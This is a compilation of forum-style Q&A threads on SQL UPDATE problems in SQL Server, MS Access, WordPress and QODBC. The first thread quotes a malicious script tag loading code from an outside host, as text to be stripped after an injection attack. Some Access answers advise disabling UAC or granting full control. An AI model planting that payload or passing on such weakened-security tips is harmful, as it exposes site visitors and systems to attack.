Removing part of text from Table column - sql

A website I am host was recently SQL injected, and I want to find a way to remove the offending injected code from a particular column (comments) in the database. Using SQL Server 2008, I'm not sure why this isn't working:
USE Dirty
SELECT REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
FROM SALONS

You're only selecting - not updating....
Try this:
USE Dirty
UPDATE dbo.Salons
SET Comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')
WHERE (possibly a condition here...)

You are not actually updating anything, merely selecting it. You need to create an update statement
USE Dirty
UPDATE SALONS
SET comments = REPLACE(comments,'</title><script src=http://hjfghj.com/r.php ></script>','')

Because the column was "ntext" that was causing an error. I managed to fix this with using a cast like this:
USE Dirty
UPDATE dbo.Salons
SET Comments = cast(replace(cast(comments as varchar(8000)),'</title><script src=http://hjfghj.com/r.php ></script>','') as ntext)

Related

UPDATE query is not "an updateable query" [duplicate]

On some Microsoft Access queries, I get the following message: Operation must use an updatable query. (Error 3073). I work around it by using temporary tables, but I'm wondering if there's a better way. All the tables involved have a primary key. Here's the code:
UPDATE CLOG SET CLOG.NEXTDUE = (
SELECT H1.paidthru
FROM CTRHIST as H1
WHERE H1.ACCT = clog.ACCT AND
H1.SEQNO = (
SELECT MAX(SEQNO)
FROM CTRHIST
WHERE CTRHIST.ACCT = Clog.ACCT AND
CTRHIST.AMTPAID > 0 AND
CTRHIST.DATEPAID < CLOG.UPDATED_ON
)
)
WHERE CLOG.NEXTDUE IS NULL;
Since Jet 4, all queries that have a join to a SQL statement that summarizes data will be non-updatable. You aren't using a JOIN, but the WHERE clause is exactly equivalent to a join, and thus, the Jet query optimizer treats it the same way it treats a join.
I'm afraid you're out of luck without a temp table, though maybe somebody with greater Jet SQL knowledge than I can come up with a workaround.
BTW, it might have been updatable in Jet 3.5 (Access 97), as a whole lot of queries were updatable then that became non-updatable when upgraded to Jet 4.
--
I had a similar problem where the following queries wouldn't work;
update tbl_Lot_Valuation_Details as LVD
set LVD.LGAName = (select LGA.LGA_NAME from tbl_Prop_LGA as LGA where LGA.LGA_CODE = LVD.LGCode)
where LVD.LGAName is null;
update tbl_LOT_VALUATION_DETAILS inner join tbl_prop_LGA on tbl_LOT_VALUATION_DETAILS.LGCode = tbl_prop_LGA.LGA_CODE
set tbl_LOT_VALUATION_DETAILS.LGAName = [tbl_Prop_LGA].[LGA_NAME]
where tbl_LOT_VALUATION_DETAILS.LGAName is null;
However using DLookup resolved the problem;
update tbl_Lot_Valuation_Details as LVD
set LVD.LGAName = dlookup("LGA_NAME", "tbl_Prop_LGA", "LGA_CODE="+LVD.LGCode)
where LVD.LGAName is null;
This solution was originally proposed at https://stackoverflow.com/questions/537161/sql-update-woes-in-ms-access-operation-must-use-an-updateable-query
The problem defintely relates to the use of (in this case) the max() function. Any aggregation function used during a join (e.g. to retrieve the max or min or avg value from a joined table) will cause the error. And the same applies to using subqueries instead of joins (as in the original code).
This is incredibly annoying (and unjustified!) as it is a reasonably common thing to want to do. I've also had to use temp tables to get around it (pull the aggregated value into a temp table with an insert statement, then join to this table with your update, then drop the temp table).
Glenn
There is no error in the code. But the error is Thrown because of the following reason.
- Please check weather you have given Read-write permission to MS-Access database file.
- The Database file where it is stored (say in Folder1) is read-only..?
suppose you are stored the database (MS-Access file) in read only folder, while running your application the connection is not force-fully opened. Hence change the file permission / its containing folder permission like in C:\Program files all most all c drive files been set read-only so changing this permission solves this Problem.
I know my answer is 7 years late, but here's my suggestion anyway:
When Access complains about an UPDATE query that includes a JOIN, just save the query, with RecordsetType property set to Dynaset (Inconsistent Updates).
This will sometimes allow the UPDATE to work.
Thirteen years later I face the same issue. DISTINCTROW did not solve my problem, but dlookup did.
I need to update a table from an aggregate query. As far as I understand, MS Access always assumes that de junction between the to-update table and the aggregate query is one-to-many., even though unique records are assured in the query.
The use of dlookup is:
DLOOKUP(Field, SetOfRecords, Criteria)
Field: a string that identifies the field from which the data is retrieved.
SetOfRecords: a string that identifies the set o record from which the field is retrieved, being a table name or a (saved) query name (that doesn’t require parameters).
Criteria: A string used to restrict the range of data on which the DLookup function is performed, equivalent to the WHERE clause in an SQL expression, without the word WHERE.
Remark
If more than one field meets criteria, the DLookup function returns the first occurrence. You should specify criteria that will ensure that the field value returned by the DLookup function is unique.
The query that worked for me is:
UPDATE tblTarifaDeCorretagem
SET tblTarifaDeCorretagem.ValorCorretagem =
[tblTarifaDeCorretagem].[TarifaParteFixa]+
DLookUp(
"[ParteVariável]",
"cstParteVariavelPorOrdem",
"[IdTarifaDeCorretagem] = " & [tblTarifaDeCorretagem].[IdTarifaDeCorretagem]
);
I would try building the UPDATE query in Access. I had an UPDATE query I wrote myself like
UPDATE TABLE1
SET Field1 =
(SELECT Table2.Field2
FROM Table2
WHERE Table2.UniqueIDColumn = Table1.UniqueIDColumn)
The query gave me that error you're seeing. This worked on my SQL Server though, but just like earlier answers noted, Access UPDATE syntax isn't standard syntax. However, when I rebuilt it using Access's query wizard (it used the JOIN syntax) it worked fine. Normally I'd just make the UPDATE query a passthrough to use the non-JET syntax, but one of the tables I was joining with was a local Access table.
This occurs when there is not a UNIQUE MS-ACCESS key for the table(s) being updated. (Regardless of the SQL schema).
When creating MS-Access Links to SQL tables, you are asked to specify the index (key) at link time. If this is done incorrectly, or not at all, the query against the linked table is not updatable
When linking SQL tables into Access MAKE SURE that when Access prompts you for the index (key) you use exactly what SQL uses to avoid problem(s), although specifying any unique key is all Access needs to update the table.
If you were not the person who originally linked the table, delete the linked table from MS-ACCESS (the link only gets deleted) and re-link it specifying the key properly and all will work correctly.
(A little late to the party...)
The three ways I've gotten around this problem in the past are:
Reference a text box on an open form
DSum
DLookup
I had the same issue.
My solution is to first create a table from the non updatable query and then do the update from table to table and it works.
Mine failed with a simple INSERT statement. Fixed by starting the application with 'Run as Administrator' access.
MS Access - joining tables in an update query... how to make it updatable
Open the query in design view
Click once on the link b/w tables/view
In the “properties” window, change the value for “unique records” to “yes”
Save the query as an update query and run it.
You can always write the code in VBA that updates similarly. I had this problem too, and my workaround was making a select query, with all the joins, that had all the data I was looking for to be able to update, making that a recordset and running the update query repeatedly as an update query of only the updating table, only searching the criteria you're looking for
Dim updatingItems As Recordset
Dim clientName As String
Dim tableID As String
Set updatingItems = CurrentDb.OpenRecordset("*insert SELECT SQL here*");", dbOpenDynaset)
Do Until updatingItems .EOF
clientName = updatingItems .Fields("strName")
tableID = updatingItems .Fields("ID")
DoCmd.RunSQL "UPDATE *ONLY TABLE TO UPDATE* SET *TABLE*.strClientName= '" & clientName & "' WHERE (((*TABLE*.ID)=" & tableID & "))"
updatingItems.MoveNext
Loop
I'm only doing this to about 60 records a day, doing it to a few thousand could take much longer, as the query is running from start to finish multiple times, instead of just selecting an overall group and making changes. You might need ' ' around the quotes for tableID, as it's a string, but I'm pretty sure this is what worked for me.
I kept getting the same error until I made the connecting field a unique index in both connecting tables. Only then did the query become updatable.
Philip Stilianos
In essence, while your SQL looks perfectly reasonable, Jet has never supported the SQL standard syntax for UPDATE. Instead, it uses its own proprietary syntax (different again from SQL Server's proprietary UPDATE syntax) which is very limited. Often, the only workarounds "Operation must use an updatable query" are very painful. Seriously consider switching to a more capable SQL product.
For some more details about your specific problems and some possible workarounds, see Update Query Based on Totals Query Fails.
I kept getting the same error, but all SQLs execute in Access very well.
and when I amended the permission of AccessFile.
the problem fixed!!
I give 'Network Service' account full control permission, this account if for IIS
When I got this error, it may have been because of my UPDATE syntax being wrong, but after I fixed the update query I got the same error again...so I went to the ODBC Data Source Administrator and found that my connection was read-only. After I made the connection read-write and re-connected it worked just fine.
Today in my MS-Access 2003 with an ODBC tabla pointing to a SQL Server 2000 with sa password gave me the same error.
I defined a Primary Key on the table in the SQL Server database, and the issue was gone.
There is another scenario here that would apply. A file that was checked out of Visual Source Safe, for anyone still using it, that was not given "Writeablity", either in the View option or Check Out, will also recieve this error message.
Solution is to re-acquire the file from Source Safe and apply the Writeability setting.
To further answer what DRUA referred to in his/her answer...
I develop my databases in Access 2007. My users are using access 2007 runtime. They have read permissions to a database_Front (front end) folder, and read/write permissions to the database_Back folder.
In rolling out a new database, the user did not follow the full instructions of copying the front end to their computer, and instead created a shortcut. Running the Front-end through the shortcut will create a condition where the query is not updateable because of the file write restrictions.
Copying the front end to their documents folder solves the problem.
Yes, it complicates things when the users have to get an updated version of the front-end, but at least the query works without having to resort to temp tables and such.
check your DB (Database permission) and give full permission
Go to DB folder-> right click properties->security->edit-> give full control
& Start menu ->run->type "uac" make it down (if it high)
The answer given above by iDevlop worked for me. Note that I wasn't able to find the RecordsetType property in my update query. However, I was able to find that property by changing my query to a select query, setting that property as iDevlop noted and then changing my query to an update query. This worked, no need for a temp table.
I'd have liked for this to just be a comment to what iDevlop posted so that it flowed from his solution, but I don't have a high enough score.
I solved this by adding "DISTINCTROW"
so here this would be
UPDATE DISTINCTROW CLOG SET CLOG.NEXTDUE

Bulk remove a word from all WordPress URLs

I've imported about 600 pages into my WordPress database and most (not all) of them have the word "park" at the end of their new URL's
domain.com/awesome-park/
I would like to bulk remove the word (and its previous dash - )change them via SQL query or other recommended method. Any advice for a safe way to change URLs inside a database would be greatly appreciated.
If you know the table and column where this url has been defined you could run next query:
UPDATE 'table_name' SET 'url_column' = REPLACE('url_column', '-page', '');
This simple plugin can do the job.
https://wordpress.org/plugins/search-and-replace/
Note : Remember you should only do this for wp_posts table and take a backup of your database before executing the query.
The slug is stored in wp_posts.post_name. So the following should work (this from the first answer above):
UPDATE wp_posts
SET post_name = REPLACE(post_name, '-park', '')
WHERE post_name REGEXP '-park$';
I do recommend backing up your WordPress database before running this query!

MS Access SQL (Quickbooks) Update Query

I'm trying to create an Update Query in MS Access (2013) to a QuickBooks Database using QODBC.
I need to update the table PriceLevelPerItem. I am trying to update the field in said table called PriceLevelPerItemCustomprice with a value from another table, QueryThreeTable, and a column titled UpdatedPrice.
I need to update the table PriceLevelPerItem where the PriceLevelPerItemItemRefListID matches the value of ItemID from QueryThreeTable and ListID matches the QueryThreeTable.ItemListID (yes I know these are the wrong way around...)
So far this process has been a very annoying trial of many queries and any help would be greatly appreciated
This is what I've been working with:
UPDATE
PriceLevelPerItem
SET
(PriceLevelPerItemCustomPrice = QueryThreeTable.UpdatedPrice)
FROM
QueryThreeTable, PriceLevelPerItem
WHERE
QueryThreeTable.ItemID = PriceLevelPerItem.PriceLevelPerItemItemRefListID
AND
QueryThreeTable.ItemListID = PriceLevelPerItem.ListID;
I think the problem is that you're trying to use a DAO query inside a QODBC query. I think the two use different Data Access engines.
You're going to need to lookup your UpdatedPrice in your QueryThreeTable using DLookup. Or maybe you need to create a DAO loop using QueryThreeTable that then updates values in your QODBC table from there.
Make your QODBC query work without the use of QueryThreeTable and without any joins. Then come up with a way to dynamically create your query. You're resulting SQL should look something like this:
UPDATE
PriceLevelPerItem
SET
PriceLevelPerItemCustomPrice = 150.16
WHERE
PriceLevelPerItem.ListID = '310000-1146238368';

replacing data in SQL server

I have multiple tables with corrupted data like this:
Good data</title>and some random HTML<p></p><
What I would like to do is only keep "Good data" in the cell and remove everything else. I thought I can just create a small project with EF and clean the db with C# but there might be a quicker solution with SQL only? Can you use regex or some kind of substring function in SQL?
I will manually look at the table and select the field that needs to run through the code, there is no need to automate that at this point.
UPDATE dbo.SQLInjectionVictimTableName
SET UnprotectedColumn = LEFT(UnprotectedColumn, CHARINDEX('<', UnprotectedColumn) - 1)
WHERE UnprotectedColumn LIKE '%<%';
If good data is consistently followed by </, you could use:
UPDATE YourTable
SET BadField = LEFT(Badfield,CHARINDEX('</',BadField)-1)
WHERE CHARINDEX('</',Badfield) > 0

Does using regular expressions in a SQL Select statement change real data?

select orderid from orders where REGEXP_REPLACE(orderid,'/^0+(.)/')
I have searched the documentation and am missing it. If I run this query will it change any real data or just my set returned for output (the "virtual" data)? The word replace scares me. I am using oracle 11g.
Thank you.
Because you are performing a SELECT, you end up getting a read only view of the data, nothing has changed.
So you don't need to worry about running this select statement. The only way to update it would be to follow this up with an UPDATE command.
No, it doesn't. (even though this answer is too short for SO).